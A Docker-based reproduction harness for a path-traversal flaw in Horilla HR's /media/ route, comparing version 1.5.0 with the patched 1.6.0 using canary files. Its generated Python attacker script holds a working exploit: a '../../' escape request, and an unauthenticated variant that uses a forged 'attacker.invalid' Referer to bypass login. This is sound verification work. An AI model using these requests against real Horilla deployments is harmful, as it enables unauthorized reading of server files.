#!/bin/bash
set -euo pipefail

# Portable paths - works from any directory.
ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
ARTIFACTS="$ROOT/artifacts"
PROOF_ROOT="$LOGS/http-proof"
STATE_ROOT="$ARTIFACTS/horilla-runtime-state"
GENERATED_ROOT="$ARTIFACTS/generated"
MASTER_LOG="$LOGS/reproduction_steps.log"
mkdir -p "$LOGS" "$REPRO_DIR" "$ARTIFACTS" "$PROOF_ROOT" "$STATE_ROOT" "$GENERATED_ROOT"

# Preserve two complete, successful top-level script transcripts as required by the ticket.
CLEAN_LOG_1="$LOGS/clean_execution_1.log"
CLEAN_LOG_2="$LOGS/clean_execution_2.log"
for candidate in "$CLEAN_LOG_1" "$CLEAN_LOG_2"; do
  if [ -f "$candidate" ] && ! grep -Fq '[repro] PASS:' "$candidate"; then
    rm -f "$candidate"
  fi
done
if [ ! -f "$CLEAN_LOG_1" ]; then
  CURRENT_EXECUTION_LOG="$CLEAN_LOG_1"
elif [ ! -f "$CLEAN_LOG_2" ]; then
  CURRENT_EXECUTION_LOG="$CLEAN_LOG_2"
else
  CURRENT_EXECUTION_LOG="$LOGS/clean_execution_extra_$(date -u +%Y%m%dT%H%M%SZ).log"
fi

# Always leave a strict runtime manifest, including on an interrupted or failed attempt.
cat > "$REPRO_DIR/runtime_manifest.json" <<'JSON'
{
  "entrypoint_kind": "endpoint",
  "entrypoint_detail": "real Horilla /media/<path> HTTP route",
  "service_started": false,
  "healthcheck_passed": false,
  "target_path_reached": false,
  "runtime_stack": ["Docker", "Python", "Django", "Horilla"],
  "proof_artifacts": ["logs/reproduction_steps.log"],
  "notes": "The current runtime attempt did not complete; inspect logs/reproduction_steps.log."
}
JSON

: > "$MASTER_LOG"
: > "$CURRENT_EXECUTION_LOG"
exec > >(tee -a "$MASTER_LOG" "$CURRENT_EXECUTION_LOG") 2>&1
cd "$ROOT"

echo "[repro] Horilla protected-media end-to-end HTTP proof started at $(date -u +%Y-%m-%dT%H:%M:%SZ)"

VULN_COMMIT="61bd5173220d19925ad8220db9152a75c881ea73"
FIXED_COMMIT="b3bd29d15819cbece45c58e6268ddd0614e387d6"
PATCH_COMMIT="67ac2056813ee95d4c4a0bfe7c0124a361cb6c48"
UPSTREAM="https://github.com/horilla/horilla-hr.git"
VULN_IMAGE="pruva-horilla:${VULN_COMMIT}"
FIXED_IMAGE="pruva-horilla:${FIXED_COMMIT}"
RUN_TOKEN="$(python3 -c 'import secrets; print(secrets.token_hex(6))')"
ACTIVE_CONTAINERS=()
ACTIVE_NETWORKS=()

cleanup() {
  local item
  for item in "${ACTIVE_CONTAINERS[@]:-}"; do
    [ -n "$item" ] && docker rm -f "$item" >/dev/null 2>&1 || true
  done
  for item in "${ACTIVE_NETWORKS[@]:-}"; do
    [ -n "$item" ] && docker network rm "$item" >/dev/null 2>&1 || true
  done
}
trap cleanup EXIT INT TERM

for tool in git docker jq python3 tar timeout; do
  command -v "$tool" >/dev/null || { echo "[error] required tool is missing: $tool"; exit 2; }
done
docker info >/dev/null 2>&1 || { echo "[error] Docker daemon is unavailable"; exit 2; }

# Honor the prepared project cache. Fall back only when the context is absent or unusable.
CACHE_CONTEXT="$ROOT/project_cache_context.json"
REPO=""
if [ -f "$CACHE_CONTEXT" ] && jq -e '.prepared == true and (.project_cache_dir | type == "string")' "$CACHE_CONTEXT" >/dev/null 2>&1; then
  PREPARED_CACHE=true
  PROJECT_CACHE_DIR="$(jq -r '.project_cache_dir' "$CACHE_CONTEXT")"
  REPO="$PROJECT_CACHE_DIR/repo"
  mkdir -p "$PROJECT_CACHE_DIR"
  echo "[repro] using prepared project cache: $REPO"
else
  PREPARED_CACHE=false
  PROJECT_CACHE_DIR="$ARTIFACTS/dependency-cache"
  REPO="$ARTIFACTS/horilla-hr"
  mkdir -p "$PROJECT_CACHE_DIR"
  echo "[repro] project cache unavailable; using fallback repository: $REPO"
fi

if [ ! -d "$REPO/.git" ]; then
  rm -rf "$REPO"
  git clone "$UPSTREAM" "$REPO"
else
  git -C "$REPO" remote set-url origin "$UPSTREAM"
fi

# Fetch only if any contract commit is absent locally.
for commit in "$VULN_COMMIT" "$FIXED_COMMIT" "$PATCH_COMMIT"; do
  if ! git -C "$REPO" cat-file -e "$commit^{commit}" 2>/dev/null; then
    git -C "$REPO" fetch --tags --force origin
    break
  fi
done

VULN_RESOLVED="$(git -C "$REPO" rev-parse "$VULN_COMMIT^{commit}")"
FIXED_RESOLVED="$(git -C "$REPO" rev-parse "$FIXED_COMMIT^{commit}")"
PATCH_RESOLVED="$(git -C "$REPO" rev-parse "$PATCH_COMMIT^{commit}")"
[ "$VULN_RESOLVED" = "$VULN_COMMIT" ] || { echo "[error] vulnerable identity mismatch"; exit 1; }
[ "$FIXED_RESOLVED" = "$FIXED_COMMIT" ] || { echo "[error] fixed identity mismatch"; exit 1; }
[ "$PATCH_RESOLVED" = "$PATCH_COMMIT" ] || { echo "[error] patch identity mismatch"; exit 1; }

# Verify the vulnerable release lacks, and the fixed release contains, the containment patch.
if git -C "$REPO" show "$VULN_COMMIT:base/views.py" | grep -q 'safe_join(settings.MEDIA_ROOT, path)'; then
  echo "[error] vulnerable commit unexpectedly contains safe_join containment"
  exit 1
fi
if ! git -C "$REPO" show "$FIXED_COMMIT:base/views.py" | grep -q 'safe_join(settings.MEDIA_ROOT, path)'; then
  echo "[error] fixed commit does not contain safe_join containment"
  exit 1
fi
if ! git -C "$REPO" merge-base --is-ancestor "$PATCH_COMMIT" "$FIXED_COMMIT"; then
  echo "[error] declared patch commit is not an ancestor of the fixed release"
  exit 1
fi

mkdir -p "$PROOF_ROOT"
cat > "$PROOF_ROOT/source_identity.log" <<EOF
repository=$UPSTREAM
vulnerable_tag=1.5.0
vulnerable_commit=$VULN_RESOLVED
fixed_tag=1.6.0
fixed_commit=$FIXED_RESOLVED
containment_patch_commit=$PATCH_RESOLVED
vulnerable_safe_join_present=false
fixed_safe_join_present=true
EOF
cat > "$PROOF_ROOT/modified_files.log" <<'EOF'
No tracked Horilla source file is modified. Each context starts as a clean git archive of the exact contract commit. Horilla ships migration package stubs, so manage.py makemigrations creates only startup migration files in disposable source/dependency trees; each case records those paths in generated_migrations_inventory.log. base/views.py and base/urls.py are hash-checked before and after execution. SQLite databases, canaries, and the attacker program are generated runtime artifacts.
EOF

prepare_context() {
  local role="$1" commit="$2" context="$ARTIFACTS/build-context-$1"
  # Recreate from git archive on every invocation so no untracked file can enter the target.
  rm -rf "$context"
  mkdir -p "$context"
  git -C "$REPO" archive --format=tar "$commit" | tar -xf - -C "$context"
  test "$(git -C "$REPO" show "$commit:base/views.py" | sha256sum | awk '{print $1}')" = "$(sha256sum "$context/base/views.py" | awk '{print $1}')"
  test "$(git -C "$REPO" show "$commit:base/urls.py" | sha256sum | awk '{print $1}')" = "$(sha256sum "$context/base/urls.py" | awk '{print $1}')"
}

# The rootless Docker daemon has a bounded image store. Keep the immutable launcher image
# small and mount the exact git archive read-only; dependencies live in the prepared cache.
RUNTIME_DOCKERFILE="$GENERATED_ROOT/Dockerfile.horilla-runtime"
cat > "$RUNTIME_DOCKERFILE" <<'EOF'
FROM python:3.10-slim-bullseye
ENV PYTHONUNBUFFERED=1 PIP_DISABLE_PIP_VERSION_CHECK=1
WORKDIR /app
CMD ["python3", "manage.py", "runserver", "0.0.0.0:8000", "--noreload"]
EOF

build_image() {
  local role="$1" commit="$2" image="$3"
  local existing=""
  existing="$(docker image inspect --format '{{ index .Config.Labels "org.opencontainers.image.revision" }}' "$image" 2>/dev/null || true)"
  if [ "$existing" = "$commit" ]; then
    echo "[build] reusing exact metadata-bound runtime image $image"
  else
    echo "[build] building metadata-bound $role runtime launcher for $commit"
    docker build -f "$RUNTIME_DOCKERFILE" \
      --label "org.opencontainers.image.source=$UPSTREAM" \
      --label "org.opencontainers.image.revision=$commit" \
      --label "org.opencontainers.image.version=$role" \
      --label "org.pruva.source.delivery=read-only-bind-mounted-git-archive" \
      -t "$image" "$GENERATED_ROOT" 2>&1 | tee "$LOGS/docker-build-$role.log"
  fi
  docker image inspect --format 'image_id={{.Id}} revision={{index .Config.Labels "org.opencontainers.image.revision"}} source_delivery={{index .Config.Labels "org.pruva.source.delivery"}} created={{.Created}}' "$image" \
    > "$PROOF_ROOT/image_identity_$role.log"
  grep -q "revision=$commit" "$PROOF_ROOT/image_identity_$role.log" || { echo "[error] image label mismatch for $role"; exit 1; }
}

DEPS_DIR=""
DEPS_IDENTITY=""
prepare_dependencies() {
  local role="$1" commit="$2" image="$3" context="$ARTIFACTS/build-context-$1"
  if [ "$PREPARED_CACHE" = true ] && [ "$role" = vulnerable ]; then
    DEPS_DIR="$ARTIFACTS/python-deps-vulnerable"
    DEPS_IDENTITY="$ARTIFACTS/python-deps-vulnerable.identity.json"
  elif [ "$PREPARED_CACHE" = true ]; then
    DEPS_DIR="$PROJECT_CACHE_DIR/horilla-python-deps"
    DEPS_IDENTITY="$PROJECT_CACHE_DIR/horilla-python-deps.identity.json"
  else
    # A fallback without separate tmpfs mounts uses one bounded directory sequentially.
    DEPS_DIR="$PROJECT_CACHE_DIR/horilla-python-deps"
    DEPS_IDENTITY="$PROJECT_CACHE_DIR/horilla-python-deps.identity.json"
  fi
  local requirements="$context/requirements.txt" requirements_sha current_sha
  requirements_sha="$(sha256sum "$requirements" | awk '{print $1}')"
  current_sha="$(jq -r '.requirements_sha256 // empty' "$DEPS_IDENTITY" 2>/dev/null || true)"
  if [ "$current_sha" != "$requirements_sha" ] || [ ! -d "$DEPS_DIR/django" ]; then
    echo "[deps] installing the exact $role requirements set (sha256=$requirements_sha) into prepared cache"
    rm -rf "$DEPS_DIR"
    mkdir -p "$DEPS_DIR"
    timeout 600 docker run --rm \
      -v "$requirements:/requirements.txt:ro" \
      -v "$DEPS_DIR:/opt/pruva-deps" \
      "$image" python3 -m pip install --no-cache-dir --target /opt/pruva-deps -r /requirements.txt \
      > "$LOGS/dependency-install-$role.log" 2>&1
    jq -n --arg role "$role" --arg commit "$commit" --arg sha "$requirements_sha" \
      '{schema_version:1, role:$role, source_commit:$commit, requirements_sha256:$sha}' > "$DEPS_IDENTITY"
  else
    echo "[deps] reusing exact $role dependency directory (sha256=$requirements_sha)"
  fi
  timeout 120 docker run --rm \
    -e PYTHONPATH=/opt/pruva-deps \
    -v "$DEPS_DIR:/opt/pruva-deps:ro" \
    "$image" python3 -c 'import django, json, sys; print(json.dumps({"python":sys.version.split()[0], "django":django.get_version()}, sort_keys=True))' \
    > "$PROOF_ROOT/dependency_runtime_$role.log"
  if [ "$role" = vulnerable ]; then
    grep -q '"django": "4.2.23"' "$PROOF_ROOT/dependency_runtime_$role.log"
  else
    grep -q '"django": "4.2.24"' "$PROOF_ROOT/dependency_runtime_$role.log"
  fi
  cp "$DEPS_IDENTITY" "$PROOF_ROOT/dependency_identity_$role.json"
}

prepare_context vulnerable "$VULN_COMMIT"
prepare_context fixed "$FIXED_COMMIT"
build_image vulnerable "$VULN_COMMIT" "$VULN_IMAGE"
build_image fixed "$FIXED_COMMIT" "$FIXED_IMAGE"

# This attacker is generated by this script on every run. It uses Python's low-level
# HTTPConnection.putrequest() so the request target is emitted exactly as supplied.
ATTACKER_SCRIPT="$GENERATED_ROOT/horilla_http_attacker.py"
cat > "$ATTACKER_SCRIPT" <<'PY'
import hashlib
import http.client
import json
import os
import re
import sys
import time
import urllib.parse
from http.cookies import SimpleCookie

host, port_s, role, commit, inside_name, outside_name, inside_marker, outside_marker, output_dir = sys.argv[1:]
port = int(port_s)
username = os.environ["PRUVA_USERNAME"]
password = os.environ["PRUVA_PASSWORD"]
os.makedirs(output_dir, exist_ok=True)

cookies = {}

def digest(data):
    return hashlib.sha256(data).hexdigest()

def update_cookies(headers):
    for key, value in headers:
        if key.lower() == "set-cookie":
            jar = SimpleCookie()
            jar.load(value)
            for name, morsel in jar.items():
                cookies[name] = morsel.value

def cookie_header():
    return "; ".join(f"{key}={value}" for key, value in sorted(cookies.items()))

def write_request(label, method, target, headers, body_field_names=None):
    safe_headers = {}
    for key, value in headers.items():
        if key.lower() == "cookie":
            safe_headers[key] = "<redacted cookie values; names=" + ",".join(sorted(cookies)) + ">"
        else:
            safe_headers[key] = value
    record = {
        "method": method,
        "raw_request_target": target,
        "path_preservation": "http.client.HTTPConnection.putrequest emitted the supplied target without URL normalization",
        "headers": safe_headers,
        "body_field_names": body_field_names or [],
    }
    with open(os.path.join(output_dir, f"request_{label}.json"), "w", encoding="utf-8") as handle:
        json.dump(record, handle, indent=2, sort_keys=True)
        handle.write("\n")

def transact(label, method, target, headers=None, body=None, body_field_names=None):
    headers = dict(headers or {})
    write_request(label, method, target, headers, body_field_names)
    conn = http.client.HTTPConnection(host, port, timeout=15)
    conn.putrequest(method, target, skip_host=True, skip_accept_encoding=True)
    conn.putheader("Host", host)
    for key, value in headers.items():
        conn.putheader(key, value)
    if body is not None:
        conn.putheader("Content-Length", str(len(body)))
    conn.endheaders(body)
    response = conn.getresponse()
    data = response.read()
    response_headers = response.getheaders()
    conn.close()
    update_cookies(response_headers)
    safe_response_headers = {}
    for key, value in response_headers:
        if key.lower() == "set-cookie":
            value = "<redacted cookie value>"
        safe_response_headers.setdefault(key, []).append(value)
    response_record = {
        "status": response.status,
        "reason": response.reason,
        "headers": safe_response_headers,
        "body_length": len(data),
        "body_sha256": digest(data),
        "body_equals_inside_canary": data == inside_marker.encode(),
        "body_equals_outside_canary": data == outside_marker.encode(),
    }
    with open(os.path.join(output_dir, f"response_{label}.json"), "w", encoding="utf-8") as handle:
        json.dump(response_record, handle, indent=2, sort_keys=True)
        handle.write("\n")
    return response.status, response_headers, data

# Wait for the real target process, then perform a real product login flow.
last_error = None
for _ in range(45):
    try:
        status, _, login_page = transact("login_get", "GET", "/login/", {"Connection": "close"})
        if status == 200:
            break
    except Exception as exc:
        last_error = repr(exc)
    time.sleep(1)
else:
    raise RuntimeError(f"target never became healthy: {last_error}")

match = re.search(rb'name=["\']csrfmiddlewaretoken["\'][^>]*value=["\']([^"\']+)', login_page)
if not match:
    match = re.search(rb'value=["\']([^"\']+)["\'][^>]*name=["\']csrfmiddlewaretoken', login_page)
if not match:
    raise RuntimeError("real /login/ page did not expose a CSRF token")
csrf = match.group(1).decode("utf-8")
login_body = urllib.parse.urlencode({
    "csrfmiddlewaretoken": csrf,
    "username": username,
    "password": password,
}).encode("ascii")
login_headers = {
    "Content-Type": "application/x-www-form-urlencoded",
    "Cookie": cookie_header(),
    "Referer": f"http://{host}/login/",
    "Connection": "close",
}
login_status, _, _ = transact(
    "login_post", "POST", "/login/", login_headers, login_body,
    ["csrfmiddlewaretoken", "username", "password (redacted)"],
)
login_session_obtained = "sessionid" in cookies

inside_target = "/media/" + inside_name
escape_target = "/media/../../runtime/" + outside_name
auth_headers = {
    "Cookie": cookie_header(),
    "Referer": f"http://{host}/dashboard/",
    "Connection": "close",
}
in_status, _, in_body = transact("authenticated_inside", "GET", inside_target, auth_headers)
auth_status, _, auth_body = transact("authenticated_escape", "GET", escape_target, auth_headers)
public_headers = {
    "Referer": "http://attacker.invalid/login",
    "Connection": "close",
}
public_status, _, public_body = transact("unauthenticated_escape", "GET", escape_target, public_headers)

result = {
    "schema_version": 1,
    "role": role,
    "source_commit": commit,
    "transport": "TCP HTTP from a distinct Docker attacker container",
    "entrypoint": "real Horilla /media/<path> endpoint",
    "healthcheck": {"path": "/login/", "status": status, "passed": status == 200},
    "login": {
        "get_status": status,
        "post_status": login_status,
        "session_cookie_obtained_via_http_login": login_session_obtained,
        "session_injected": False,
    },
    "authenticated_inside": {
        "raw_request_target": inside_target,
        "status": in_status,
        "body_sha256": digest(in_body),
        "equals_inside_canary": in_body == inside_marker.encode(),
    },
    "authenticated_escape": {
        "raw_request_target": escape_target,
        "status": auth_status,
        "body_sha256": digest(auth_body),
        "equals_outside_canary": auth_body == outside_marker.encode(),
        "cookie_sent": True,
    },
    "unauthenticated_escape": {
        "raw_request_target": escape_target,
        "status": public_status,
        "body_sha256": digest(public_body),
        "equals_outside_canary": public_body == outside_marker.encode(),
        "cookie_sent": False,
        "authorization_sent": False,
        "referer": "http://attacker.invalid/login",
    },
}
with open(os.path.join(output_dir, "result.json"), "w", encoding="utf-8") as handle:
    json.dump(result, handle, indent=2, sort_keys=True)
    handle.write("\n")
print(json.dumps(result, sort_keys=True))
PY
chmod 0644 "$ATTACKER_SCRIPT"

run_matrix_case() {
  local round="$1" role="$2" commit="$3" image="$4"
  local case_dir="$PROOF_ROOT/run_${round}_${role}"
  local state_dir="$STATE_ROOT/run_${round}_${role}"
  local network="pruva-horilla-net-${RUN_TOKEN}-${round}-${role}"
  local target="pruva-horilla-target-${RUN_TOKEN}-${round}-${role}"
  local attacker="pruva-horilla-attacker-${RUN_TOKEN}-${round}-${role}"
  local alias="target-${round}-${role}"
  local context="$ARTIFACTS/build-context-$role"
  local username="lowpriv_${RUN_TOKEN}_${round}_${role}"
  local password email inside_name outside_name inside_marker outside_marker
  password="$(python3 -c 'import secrets; print(secrets.token_urlsafe(20))')"
  email="${username}@example.invalid"
  inside_name="inside_${RUN_TOKEN}_${round}_${role}.txt"
  outside_name="outside_${RUN_TOKEN}_${round}_${role}.txt"
  inside_marker="INSIDE_CANARY_${RUN_TOKEN}_${round}_${role}"
  outside_marker="OUTSIDE_CANARY_${RUN_TOKEN}_${round}_${role}"

  rm -rf "$case_dir" "$state_dir"
  mkdir -p "$case_dir" "$state_dir/media"
  printf '%s' "$inside_marker" > "$state_dir/media/$inside_name"
  printf '%s' "$outside_marker" > "$state_dir/$outside_name"

  echo "[case] round=$round role=$role commit=$commit"
  docker network create "$network" >/dev/null
  ACTIVE_NETWORKS+=("$network")

  # Horilla releases intentionally ship model source with only migration-package stubs.
  # Generate migrations into this disposable git-archive copy, inventory those startup-only
  # files, then run the real application. The affected view, route, auth, and open path remain
  # byte-identical to the contract commit and are separately hash-verified above.
  timeout 420 docker run --rm \
    -e DEBUG=True -e 'ALLOWED_HOSTS=*' -e 'SECRET_KEY=pruva-disposable-runtime-key' \
    -e DB_ENGINE=django.db.backends.sqlite3 -e DB_NAME=/runtime/db.sqlite3 -e PYTHONPATH=/opt/pruva-deps \
    -v "$DEPS_DIR:/opt/pruva-deps" -v "$context:/app" \
    -v "$state_dir:/runtime" -v "$state_dir/media:/app/media" \
    "$image" python3 manage.py makemigrations --noinput \
    > "$case_dir/makemigrations.log" 2>&1
  {
    find "$context" -type f -path '*/migrations/[0-9]*.py' -printf 'source_context:%P\n'
    find "$DEPS_DIR/django/contrib/auth/migrations" -maxdepth 1 -type f -name '[0-9]*.py' -printf 'dependency_cache:django/contrib/auth/migrations/%f\n'
  } | LC_ALL=C sort > "$case_dir/generated_migrations_inventory.log"

  # Tag-specific clean database migration using the unchanged release image.
  timeout 420 docker run --rm \
    -e DEBUG=True -e 'ALLOWED_HOSTS=*' -e 'SECRET_KEY=pruva-disposable-runtime-key' \
    -e DB_ENGINE=django.db.backends.sqlite3 -e DB_NAME=/runtime/db.sqlite3 -e PYTHONPATH=/opt/pruva-deps \
    -v "$DEPS_DIR:/opt/pruva-deps" -v "$context:/app" \
    -v "$state_dir:/runtime" -v "$state_dir/media:/app/media" \
    "$image" python3 manage.py migrate --noinput \
    > "$case_dir/migrate.log" 2>&1

  # Provision an ordinary user and required Employee relation. No session is created here.
  timeout 180 docker run --rm \
    -e DEBUG=True -e 'ALLOWED_HOSTS=*' -e 'SECRET_KEY=pruva-disposable-runtime-key' \
    -e DB_ENGINE=django.db.backends.sqlite3 -e DB_NAME=/runtime/db.sqlite3 -e PYTHONPATH=/opt/pruva-deps \
    -e PRUVA_USERNAME="$username" -e PRUVA_PASSWORD="$password" -e PRUVA_EMAIL="$email" \
    -v "$DEPS_DIR:/opt/pruva-deps:ro" -v "$context:/app:ro" \
    -v "$state_dir:/runtime" -v "$state_dir/media:/app/media" \
    "$image" python3 manage.py shell -c '
import json, os
from django.contrib.auth.models import User
from employee.models import Employee
u = User.objects.create_user(username=os.environ["PRUVA_USERNAME"], email=os.environ["PRUVA_EMAIL"], password=os.environ["PRUVA_PASSWORD"])
u.is_staff = False
u.is_superuser = False
u.is_active = True
u.save()
e = Employee._base_manager.create(employee_user_id=u, employee_first_name="LowPrivilege", employee_last_name="Proof", email=os.environ["PRUVA_EMAIL"], phone="0000000000", is_active=True)
print(json.dumps({"user_id": u.pk, "employee_id": e.pk, "is_staff": u.is_staff, "is_superuser": u.is_superuser, "is_active": u.is_active, "session_created_during_setup": False}, sort_keys=True))
' > "$case_dir/provision_identity.log" 2>&1
  grep -q '"is_staff": false' "$case_dir/provision_identity.log"
  grep -q '"is_superuser": false' "$case_dir/provision_identity.log"
  grep -q '"session_created_during_setup": false' "$case_dir/provision_identity.log"

  docker run -d --name "$target" --hostname "$alias" --network "$network" --network-alias "$alias" \
    -e DEBUG=True -e 'ALLOWED_HOSTS=*' -e 'SECRET_KEY=pruva-disposable-runtime-key' \
    -e DB_ENGINE=django.db.backends.sqlite3 -e DB_NAME=/runtime/db.sqlite3 -e PYTHONPATH=/opt/pruva-deps \
    -v "$DEPS_DIR:/opt/pruva-deps:ro" -v "$context:/app:ro" \
    -v "$state_dir:/runtime" -v "$state_dir/media:/app/media:ro" \
    "$image" python3 manage.py runserver 0.0.0.0:8000 --noreload >/dev/null
  ACTIVE_CONTAINERS+=("$target")

  # Python-module loader evidence from the exact live target container, including post-startup
  # byte checks for the affected view and route modules.
  local expected_views_sha expected_urls_sha
  expected_views_sha="$(git -C "$REPO" show "$commit:base/views.py" | sha256sum | awk '{print $1}')"
  expected_urls_sha="$(git -C "$REPO" show "$commit:base/urls.py" | sha256sum | awk '{print $1}')"
  timeout 120 docker exec "$target" python3 manage.py shell -c '
import hashlib, json
import base.urls, base.views, django

def sha(path):
    with open(path, "rb") as handle:
        return hashlib.sha256(handle.read()).hexdigest()
print(json.dumps({"django_version": django.get_version(), "base_views_path": base.views.__file__, "base_views_sha256": sha(base.views.__file__), "base_urls_path": base.urls.__file__, "base_urls_sha256": sha(base.urls.__file__)}, sort_keys=True))
' > "$case_dir/runtime_binding.log" 2>&1
  grep -Fq "\"base_views_sha256\": \"$expected_views_sha\"" "$case_dir/runtime_binding.log"
  grep -Fq "\"base_urls_sha256\": \"$expected_urls_sha\"" "$case_dir/runtime_binding.log"

  # The attacker is a separate Docker process/container and reaches only the target's TCP listener.
  set +e
  timeout 120 docker run --name "$attacker" --hostname "attacker-${round}-${role}" --network "$network" \
    -e PRUVA_USERNAME="$username" -e PRUVA_PASSWORD="$password" \
    -v "$ATTACKER_SCRIPT:/opt/pruva/attacker.py:ro" -v "$case_dir:/evidence" \
    "$image" python3 /opt/pruva/attacker.py \
      "$alias" 8000 "$role" "$commit" "$inside_name" "$outside_name" "$inside_marker" "$outside_marker" /evidence \
    > "$case_dir/attacker_stdout.log" 2>&1
  local attacker_rc=$?
  set -e
  ACTIVE_CONTAINERS+=("$attacker")

  docker inspect --format 'target_container_id={{.Id}} image={{.Image}} network_mode={{.HostConfig.NetworkMode}}' "$target" > "$case_dir/target_container_identity.log"
  docker inspect --format 'attacker_container_id={{.Id}} image={{.Image}} network_mode={{.HostConfig.NetworkMode}}' "$attacker" > "$case_dir/attacker_container_identity.log"
  docker logs "$target" > "$case_dir/server.log" 2>&1 || true

  if [ "$attacker_rc" -ne 0 ]; then
    echo "[error] attacker container failed for round=$round role=$role rc=$attacker_rc"
    cat "$case_dir/attacker_stdout.log"
    cat "$case_dir/server.log"
    exit 1
  fi

  local escape_target="/media/../../runtime/$outside_name"
  grep -Fq "$escape_target" "$case_dir/server.log" || {
    echo "[error] server log did not preserve/observe raw escape target: $escape_target"
    cat "$case_dir/server.log"
    exit 1
  }

  jq -e '.healthcheck.passed == true and .login.get_status == 200 and .login.post_status == 302 and .login.session_cookie_obtained_via_http_login == true and .login.session_injected == false and .authenticated_inside.status == 200 and .authenticated_inside.equals_inside_canary == true' "$case_dir/result.json" >/dev/null
  if [ "$role" = "vulnerable" ]; then
    jq -e '.authenticated_escape.status == 200 and .authenticated_escape.equals_outside_canary == true and .unauthenticated_escape.status == 200 and .unauthenticated_escape.equals_outside_canary == true and .unauthenticated_escape.cookie_sent == false and .unauthenticated_escape.authorization_sent == false' "$case_dir/result.json" >/dev/null
  else
    jq -e '.authenticated_escape.status == 404 and .authenticated_escape.equals_outside_canary == false and .unauthenticated_escape.status == 404 and .unauthenticated_escape.equals_outside_canary == false' "$case_dir/result.json" >/dev/null
  fi

  docker rm -f "$attacker" "$target" >/dev/null
  docker network rm "$network" >/dev/null
  ACTIVE_CONTAINERS=("${ACTIVE_CONTAINERS[@]/$attacker/}")
  ACTIVE_CONTAINERS=("${ACTIVE_CONTAINERS[@]/$target/}")
  ACTIVE_NETWORKS=("${ACTIVE_NETWORKS[@]/$network/}")
  echo "[case] PASS round=$round role=$role"
}

# Two clean vulnerable/fixed matrices with independent databases and fresh canaries.
# Group cases by role because the bounded prepared cache holds one exact requirements set at a time.
prepare_dependencies vulnerable "$VULN_COMMIT" "$VULN_IMAGE"
for round in 1 2; do
  run_matrix_case "$round" vulnerable "$VULN_COMMIT" "$VULN_IMAGE"
done
prepare_dependencies fixed "$FIXED_COMMIT" "$FIXED_IMAGE"
for round in 1 2; do
  run_matrix_case "$round" fixed "$FIXED_COMMIT" "$FIXED_IMAGE"
done

# Summarize the exact current-run oracle without exposing any credential or reusable secret.
python3 - "$PROOF_ROOT" <<'PY'
import json, os, sys
root = sys.argv[1]
summary = {"schema_version": 1, "all_cases_passed": True, "cases": []}
for round_no in (1, 2):
    for role in ("vulnerable", "fixed"):
        path = os.path.join(root, f"run_{round_no}_{role}", "result.json")
        with open(path, encoding="utf-8") as handle:
            result = json.load(handle)
        summary["cases"].append({
            "round": round_no,
            "role": role,
            "source_commit": result["source_commit"],
            "login_via_product": result["login"]["session_cookie_obtained_via_http_login"],
            "inside_control": result["authenticated_inside"],
            "authenticated_escape": result["authenticated_escape"],
            "unauthenticated_escape": result["unauthenticated_escape"],
        })
with open(os.path.join(root, "matrix_summary.json"), "w", encoding="utf-8") as handle:
    json.dump(summary, handle, indent=2, sort_keys=True)
    handle.write("\n")
PY

# Only publish success after all four fresh target instances satisfy their role-specific oracle.
python3 - "$ROOT" "$REPRO_DIR/runtime_manifest.json" <<'PY'
import json, os, sys
root, output = sys.argv[1:]
proof = ["logs/reproduction_steps.log", "logs/http-proof/source_identity.log", "logs/http-proof/modified_files.log", "logs/http-proof/matrix_summary.json"]
for clean_log in ("logs/clean_execution_1.log", "logs/clean_execution_2.log"):
    if os.path.isfile(os.path.join(root, clean_log)):
        proof.append(clean_log)
for round_no in (1, 2):
    for role in ("vulnerable", "fixed"):
        base = f"logs/http-proof/run_{round_no}_{role}"
        proof.extend([
            f"{base}/result.json",
            f"{base}/server.log",
            f"{base}/provision_identity.log",
            f"{base}/generated_migrations_inventory.log",
            f"{base}/runtime_binding.log",
            f"{base}/target_container_identity.log",
            f"{base}/attacker_container_identity.log",
            f"{base}/request_authenticated_escape.json",
            f"{base}/request_unauthenticated_escape.json",
            f"{base}/response_authenticated_escape.json",
            f"{base}/response_unauthenticated_escape.json",
        ])
manifest = {
    "entrypoint_kind": "endpoint",
    "entrypoint_detail": "real Horilla /media/<path> HTTP route",
    "service_started": True,
    "healthcheck_passed": True,
    "target_path_reached": True,
    "runtime_stack": ["Docker", "Python 3.10", "Django 4.2", "Horilla 1.5.0 and 1.6.0"],
    "proof_artifacts": proof,
    "notes": "Two clean exact-commit matrices passed: vulnerable authenticated traversal and unauthenticated Referer composition read only harmless outside-root canaries; fixed controls returned 404 while in-root controls remained live. Requests originated in distinct attacker containers and preserved raw targets."
}
with open(output, "w", encoding="utf-8") as handle:
    json.dump(manifest, handle, indent=2, sort_keys=True)
    handle.write("\n")
PY
jq -e '.service_started == true and .healthcheck_passed == true and .target_path_reached == true' "$REPRO_DIR/runtime_manifest.json" >/dev/null

echo "[repro] PASS: both clean vulnerable/fixed HTTP matrices satisfied all containment, authentication, Referer-composition, source-identity, and fixed-control oracles"
